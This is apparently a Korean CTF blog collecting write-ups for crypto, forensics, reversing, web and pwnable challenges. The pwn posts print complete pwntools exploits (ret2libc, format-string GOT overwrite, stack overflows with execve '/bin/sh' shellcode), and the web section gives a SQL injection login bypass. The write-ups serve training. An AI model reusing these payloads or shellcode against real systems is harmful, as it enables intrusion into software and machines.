반응형
반응형
반응형

RSA - Factorisation

 

c : e8oQDihsmkvjT3sZe+EE8lwNvBEsFegYF6+OOFOiR6gMtMZxxba/bIgLUD8pV3yEf0gOOfHuB5bC3vQmo7bE4PcIKfpFGZBA

 

와 공개키 pem파일이 주어진다.

 

 

 

openssl을 이용해서 n과 e를 구한다.

 

>openssl rsa -in pubkey.pem -pubin -text -modulus

RSA Public-Key: (576 bit)
Modulus:
    00:c2:cb:b2:4f:db:f9:23:b6:12:68:e3:f1:1a:38:
    96:de:45:74:b3:ba:58:73:0c:bd:65:29:38:86:4e:
    22:23:ee:eb:70:4a:17:cf:d0:8d:16:b4:68:91:a6:
    14:74:75:99:39:c6:e4:9a:af:e7:f2:59:55:48:c7:
    4c:1d:7f:b8:d2:4c:d1:5c:b2:3b:4c:d0:a3
Exponent: 65537 (0x10001)
Modulus=C2CBB24FDBF923B61268E3F11A3896DE4574B3BA58730CBD652938864E2223EEEB704A17CFD08D16B46891A61474759939C6E49AAFE7F2595548C74C1D7FB8D24CD15CB23B4CD0A3
writing RSA key
-----BEGIN PUBLIC KEY-----
MGQwDQYJKoZIhvcNAQEBBQADUwAwUAJJAMLLsk/b+SO2Emjj8Ro4lt5FdLO6WHMM
vWUpOIZOIiPu63BKF8/QjRa0aJGmFHR1mTnG5Jqv5/JZVUjHTB1/uNJM0VyyO0zQ
owIDAQAB
-----END PUBLIC KEY-----

 

 

n(10진수) = 188198812920607963838697239461650439807163563379417382700763356422988859715234665485319060606504743045317388011303396716199692321205734031879550656996221305168759307650257059

 

온라인 툴을 이용해서 n을 소인수분해를 시도 했지만 성공하지 못했다.

그래서 rsa 576으로 검색을 해보았는데 p q가 구해진 것을 찾을 수 있었다.

 

p = 398075086424064937397125500550386491199064362342526708406385189575946388957261768583317

q = 472772146107435302536223071973048224632914695302097116459852171130520711256363590397527

 

 

 

반응형
반응형

Cryptography

 

Art 150

https://www.brynmawr.edu/bulletin/codes-and-ciphers-puts-students-test

INFO{HO_OHO_OHOOHO_HELLO_THIS_IS_MATSURI_YOU_KNOW_FREEMASON_CIPHER!!!!}

 

 

 

Quick Brown Fox

150

 

1. 모스부호 디코딩 -> 2. dec to ascii -> 3. reverse(앞 뒤를 뒤집는다.) -> link!(링크로 접속) and find flag in imag (이미지 속에서 플래그를 찾을 수 있다.)

 

1. https://morsecode.scphillips.com/translator.html

 

2. https://www.branah.com/ascii-converter

변환후 Remove spaces 클릭하자

 

3. https://cryptii.com/

Reverse 선택

 

 

 

 

Baby RSA 250

c^d mod (p*q) = m(평문)

 

system32.kr RSA 문제들 풀이 참조

 

https://mandu-mandu.tistory.com/category/WAR%20GAME/System32.kr

 

'WAR GAME/System32.kr' 카테고리의 글 목록

 

mandu-mandu.tistory.com

 

 

VcipherTEXT

250

비제네르 키 길이 3로 브포 공격

https://www.dcode.fr/vigenere-cipher

 

key 길이 3을 몰라도, 브포 공격으로 해도 나오긴 한다.

 

 

 

No RSA No Life

rsatool.py 이용해서 d를 구한뒤 baby rsa와 동일 풀이

 

system32.kr RSA문제 풀이 참조:

https://mandu-mandu.tistory.com/category/WAR%20GAME/System32.kr

 

'WAR GAME/System32.kr' 카테고리의 글 목록

 

mandu-mandu.tistory.com

반응형
반응형

Timisoara CTF 2019 Write-up

TEAM : WTB

 

 

제출했던 풀이 보고서(영문): write-up:

Timisoara_CTF_2019_Quals_Write-up_WTB.docx
4.40MB

 

 

아래는 제가 푼 문제 + a 들의 풀이입니다. (곧 세부설명 수정)

 

CRYPTO

Baby Crypto (50pts) 

This file seems... odd

 

Otil bw amm gwc uilm qb! Emtkwum bw bpm ewvlmznct ewztl wn kzgxbwozixpg! Pmzm qa gwcz zmeizl: BQUKBN{Rctqca_Kimaiz_e0ctl_j3_xzwcl}

 

카이사르 돌리면 된다.

 

 

Proof of work (100pts)

 

While developing an anti-bot system we thought of a system to test if the users are indeed human. You need to enter a string whose SHA256 has the last 7 digits 0. As this hash is secure you need to use some processing power, thus denying spam. Sort of like mining bitcoin.

 

0부터 1씩 증가시켜서 전부 sha256을 돌린다.

돌려서 끝에 7자리가 0인 것을 뽑아내면 된다.

 

python3는 느리기 때문에 pypy3를 설치해서 사용했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib
 
= 0
while True:
    string = str(i)
    encoded_string = string.encode()
    hexdigest = hashlib.sha256(encoded_string).hexdigest()
    if "0000000" in str(hexdigest):
        print(str(i) +": " +hexdigest)
    i = i +1
 
#365512095
#TIMCTF{9e13449f334ded947431aa5001c2e9ab429ab5ddf880f416fe352a96eb2af122}
cs

 

10분이상 돌렸던 것 같다.

 

 

Alien Alphabet (150pts) 

I found this strange text. It is written in some strange alphabet. Can you decode it?

 

직접 문자에 알파벳 치환시켜서 빈도분석.

 

 

Password breaker (150pts) 

I heard you were good at cracking passwords!

Hint! What are the most common attacks on a password? Dictionary and bruteforce

Hint! If it takes more than a few minutes you're doing it wrong.

 

1. 사전공격

2. 브포공격

 

 

TimCTF gamblig service (200pts) 

Predict the next number to win. Are you that lucky?

시간기반 랜덤값

pipe 2개 연결해서 하나는 값을 받고 하나는 받은 값을 그대로 보내버리면 됨.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
= remote("89.38.208.143"21023)
p2 = remote("89.38.208.143"21023)
p.recvuntil(": ")
p.sendline("1")
 
p2.recvuntil(": ")
p2.sendline("2")
 
= p.recvline()
p.close()
p2.sendline(n)
 
p2.interactive()
 
cs

 

 

Strange cipher (250pts) 

I have found this strange encryption service. Can you decode it?

 

한 글자씩 hex값을 맞춰가면 됨.

 

 

Forensics

Deleted file (100pts) 

Help! I accidentally deleted a photo! Can you recover it for me please?

Non-standard flag format

 

png 시그니쳐 찾아서 카빙

 

 

Strange image (100pts) 

I received this "image" in my mailbox today, but I can not open it, as if it was corrupted or something. Can you fix it and tell me if it has any hidden meaning?

Note: if you think you "fixed" it and it does not open, try using a few different photo viewers.

Hint! When you 'fix' your image make sure you try multiple photo viewers as some might not want to display it

 

 xor 0x7a 연산을 하면 복구가 됨.

 

script :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import binascii
import re
 
fd = open("john.png""rb")
dat = fd.read()
data = binascii.b2a_hex(dat)
datas = re.findall(r'..',data)
 
red = ""
for i in range(0len(datas)):
    bit = eval("0x"+str(datas[i])+" ^ 0x7a")
    rad = str(hex(bit))
    if len(rad) == 3 :
        rad = rad.replace("0x""0x0")
        red += rad
    else :
        red += str(hex(bit))
print red
bin_ = ""
for j in range(0len(red), 4):
    binary_d = str(red[j:j+4])
    binary_d = binary_d.replace("0x""")
    bin_ += "\\x"+binary_d
 
fh = open("image.png""wb")
eval("fh.write(b'"+bin_+"')")
fh.close()
 
cs

 

스테가노 사이트()에서 문자열만 보면, fl4g 찾을 수 있음.

: 오른쪽 부분을 특수문자까지 같이 rot 돌리면 플래그가 나옴. https://www.dcode.fr/rot-cipher

 

 

 

Tri-color QR (200pts) 

I stumbled upon this strange QR code which seems to be in a new format. Can you help me decode it?\

 

stegsolve.jar로 3개 뽑아낼 수 있음.

그리고 hxd로 열었을때 푸터 시그니쳐 뒤에 PK 시그니쳐 확인 가능.

뽑아내서 압축 풀면 4번째 부분을 구할 수 있음.

 

 

 

Programming

Subset sum (200pts) 

You are given a number n and an array. Find those elements from the array that sum to the given number.

Number of tests: 10
Size of the array: 4 - 40 (+4 per level)
Input data type: 64 bit unsigned ints
Input formatting: 2 lines of text, a line containing n and a line containg the array.
Output formatting: the size of the subset and the elements of the subset, separated by a space
Time limit: 3s

 

야매로 푼 문제.

 

합이 나오면, 그 합이 되는 원소랑 개수를 구해서 보내는 거 같은데, 1과 그 합을 그대로 보내보니까 통과가 되서 그냥 간단 스크립트 짜서 품.

 

 

Reverse Engineering

 

Baby Rev (50pts) 

This program asks me for the flag, but i don't know it!

 

IDA

 

Easy Rev (75pts) 

Like the last one, but harder

 

IDA

 

Math (150pts) 

This executable is doing MATH. Everyone hates that so it must be hard to reverse

 

IDA로 까면 플래그 인코딩 연산 하는 부분이 있는데 이 부분을 그대로 파이썬으로 옮겨서 브포를 돌렸다.

완전자동화로 코드 짜다가 귀찮아서 그냥 반 노가다로 풀었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def solv(input, q, p):
    key = 14335727
    base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    flag = "jveimeqpofewqY3chceAr+G6tPqKiM27u/CLhcbX7MPv" #44
    cipher = "0"*44
    cipher = list(cipher)
 
    v7 = 0
    v5 = 0
    for i in range(0len(input), 3):
        if i > len(input)-3:
            break;
 
        v6 = key ^ (ord(input[i + 2]) | ((ord(input[i + 1]) | (ord(input[i]) << 8)) << 8))
 
        for j in range(03):
            try:
                str(input[i+j])
            except :
                v5 =1
        for k in range(3-1-1):
            v4=0
            for l in range(5-1-1):
                if ( v6 & (1 << (6 * k + l)) ):
                    v4 |= 1 << l
            if v4:
                cipher[v7] = base64[v4]
            elif v5:
                cipher[v7] = "="
            else :
                cipher[v7] = 'A'
            v7 += 1
    cipher = ''.join(cipher)
    x=1
    if cipher[x] == flag[x] and cipher[x+1== flag[x+1]:
        print(chr(q))
        print(p)
        print(cipher)
        print(flag)
 
#yee = "TIMCTF{I_s33_you_UnDeRsTaNd_x86}"
yee= "TIMCTF{"
for q in range(33127):
    yy = yee + str(chr(q))
    for p in range(33,127):
        yeee = yy +str(chr(p))+str(chr(p))
        solv(yeee, q, p)
 
cs

돌려서 나온값 yee에 추가하고 x값 1씩 증가시켜주면 된다.

가끔 위 방식대로 하다가 출력되는 문자가 여러개가 나온다면, x값을 더 증가시켜 주면 된다. 

 

 

Strange jump (250pts) 

This application likes to jump!

 

math와 동일. 플래그 인코딩하는 부분 찾아서 브포했다.

연산코드마저 math의 key xor하는 부분을 제외하면 math와 풀이 코드가 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def solv(input, q, p):
    base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    flag = "VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9" #44
    cipher = "0"*55
    cipher = list(cipher)
 
    v7 = 0
    v5 = 0
    for i in range(0len(input), 3):
        if i > len(input)-3:
            break;
 
        v6 = (ord(input[i + 2]) | ((ord(input[i + 1]) | (ord(input[i]) << 8)) << 8))
 
        for j in range(03):
            try:
                str(input[i+j])
            except :
                v5 =1
        for k in range(3-1-1):
            v4=0
            for l in range(5-1-1):
                if ( v6 & (1 << (6 * k + l)) ):
                    v4 |= 1 << l
            if v4:
                cipher[v7] = base64[v4]
            elif v5:
                cipher[v7] = "="
            else :
                cipher[v7] = 'A'
            v7 += 1
    cipher = ''.join(cipher)
    y = 17
    if cipher[y] == flag[y] and cipher[y+1== flag[y+1]:
        print(chr(q))
        print(p)
        print(cipher)
        print(flag)
 
yee = "TIMCTF{"
 
for q in range(33127):
    yy = yee + str(chr(q))
    for p in range(33,127):
        yeee = yy +str(chr(p))+str(chr(p))+str(chr(p))
        solv(yeee, q, p)
 
cs

math와 동일. 돌려서 나온값 yee에 추가하고 x값 1씩 증가시켜주면 된다.

가끔 위 방식대로 하다가 출력되는 문자가 여러개가 나온다면, x값을 더 증가시켜 주면 된다. 

 

 

Web

Not so empty website (50pts) 

This website looks empty, but trust me, it is not!

페이지 소스에 나와있다.

 

 

Secret key of swag (150pts) 

Our spies leaked the authentication algorithm for this site, but the login seems rigged. Is it so?

parse()함수가 extract($_GET)과 같은 효과

$processed_key에 그대로 hax0r을 넣으면 끝.

 

 

Admin panel (200pts) 

Your job is to hack this admin panel and login.


sql 인젝션.

admin@admin

pw : ' or '1' = '1

 

반응형
반응형

32bit ELF

 

 

rtl로 푼다.

 

IDA를 이용해 system()의 주소와 "/bin/sh"의 주소를 쉽게 구할 수 있다.

 

 

system()

 

 

"/bin/sh"

"/bin/sh"는 main함수에 있는 "/bin/sh"을 따라가면 된다.

 

 

 

 

main 함수

5번에서 bof가 일어난다.

 

buf의 위치는 bp-8C이다.

0x8C = 140

 

payload = dummy[140] +dummy sfp[4] + system() + dummy[4] + binsh

 

ex.py

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3010)
 
p.recvuntil(">>> ")
p.sendline("5")
p.recvuntil("> ")
 
binsh = 0x08048EB1
system = 0x080485B0
 
payload = "A"*144
payload += p32(system)
payload += "A"*4
payload += p32(binsh)
 
p.sendline(payload)
 
p.interactive()
 
cs

 

nc 접속 > 5 입력 > payload 입력 > 쉘 획득!

반응형
반응형

32bit ELF

 

 

 

두 개의 함수가 있다.

 

FSB

 

flag() = 0x080485B4 = 134514100

 

 

printf의 got를 flag()로 overwrite 한다.

 

payload = printf_got(덮을 위치) + %(flag()-4)x + %n

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3002)
= ELF('./basic_fsb')
 
printf_got = e.got['printf']
 
p.recvuntil(": ")
 
payload = p32(printf_got)
payload += "%134514096x%n"
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

32bit ELF FILE이다.

 

 

3개의 함수가 존재한다.

 

main함수

 

welcome함수. bof가 발생하는 함수다.

v1의 위치는 bp-12h이다. ret을 덮기 위해 dummy 22바이트가 필요함을 기억해둔다.

 

 

 

플래그를 출력해주는 함수

 

welcome함수에서 welcome함수의 주소를 출력해준다.

해당 함수의 주소를 기준으로 j0n9hyun함수의 주소를 구해서 ret을 덮어주면 된다.

 

welcome offset 0x909
j0n9hyun offset 0x890

0x909 - 0x890 = 0x79

welcome()의 주소 - 0x79 = j0n9hyun()의 주소

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3008)
 
p.recvline()
 
p.recvuntil("is ")
welcome = int(p.recv(10), 16)
print hex(welcome)
 
 
payload = "A" * (22)
 
payload += p32(welcome-0x79)
 
p.sendline(payload)
 
p.interactive()
 
cs
반응형
반응형

32bit ELF 파일이다.

 

main함수로 ㄱㄱ

 

 

 

gets함수로 s에 길이 제한 없이 입력을 받는다.

그리고 select_func의 인자로 넘긴다.

 

select_func을 보자

 

아까 받은 인자가 src이다.

 

src 에서 dest로 31바이트만큼 복사한다.

 

dest가 one이면 one함수를, 아니면 two함수를 실행한다.

 

v3에 저장된 함수를 call한다.

 

 

위에서 31바이트만큼 복사를 하는데,

 

dest는 bp-2Ah에 있고, v3는 bp-Ch에 있고,

 

2A-C = 30이다.

 

그러면 v3의 1바이트만을 덮을 수 있다.

 

 

two함수의 offset은 0x6AD이고, flag를 출력해주는 print_flag의 offset은 0x6D8이다.

 

입력값이 one이 아니라면 v3에 0x6AD가 들어갈 것이고 1바이트를 \xD8로 덮어준다면 0x6D8이 되어서 해당 함수가 실행되고 flag가 출력된다.

 

payload = 더미(30) + "\xd8"

 

 

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3007)
 
p.recvline()
 
payload = "A" * (30)
payload += "\xd8"
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

32bit ELF File이다.

 

main함수로 ㄱㄱ

 

 

데이터를 입력받고, 입력받은 곳의 주소를 출력해준다. 그리고 y를 보내주면 루프를 반복시킬 수 있다.

 

더미 데이터를 보내서 주소값을 얻어내고, 쉘코드 + 더미 + 얻은 주소값(ret)를 보내주면 쉘을 딸 수 있다.

 

s와 ret사이 거리는 0x88 + 0x4 = 136+4 = 140이다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3006)
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" #25
p.recvuntil(": ")
p.sendline("1")
buf = int(p.recv(10), 16)
print hex(buf)
p.sendline("y")
 
payload = shellcode
payload += "A" * (140-25)
payload += p32(buf)
 
p.sendline(payload)
 
p.interactive()
 
cs

1을 보내주어서 버퍼 주소값을 구한다.

y 입력으로 루프를 한 번더 진행시킨다.

쉘코드를 넣고 리턴주소를 덮어준다.

 

interactive()모드에서 n을 입력해주어 루프를 벗어난다.

쉘을 딴다.

 

반응형
반응형

64bit ELF FILE이다.

 

main함수를 보자.

 

buffer의 주소를 출력해 준다.

 

buffer에 64bit용 shellcode을 올려주고 리턴주소를 buffer의 주소로 덮어주면 된다.

 

0x6D30 = 27952(10)

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3005)
 
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" #x64
p.recvuntil(": ")
buf = int(p.recv(14), 16)
print hex(buf)
 
payload = shellcode
payload += "A" * (27960-23)
payload += p64(buf)
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

64bit elf다.

 

바로 main함수를 보자

 

 

입력제한 없이 입력을 받는다. ret주소를 callMeMaybe()함수의 주소로 덮으면 된다.

 

 

함수 주소 : 0x400641

 

110h = 272, 272+8(sfp) =280

 

ex.py

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3004)
 
shellf = 0x400606
sleep(1)
 
payload = "A" * 280
payload += p64(shellf)
 
p.sendline(payload)
 
p.interactive()
cs
반응형

+ Recent posts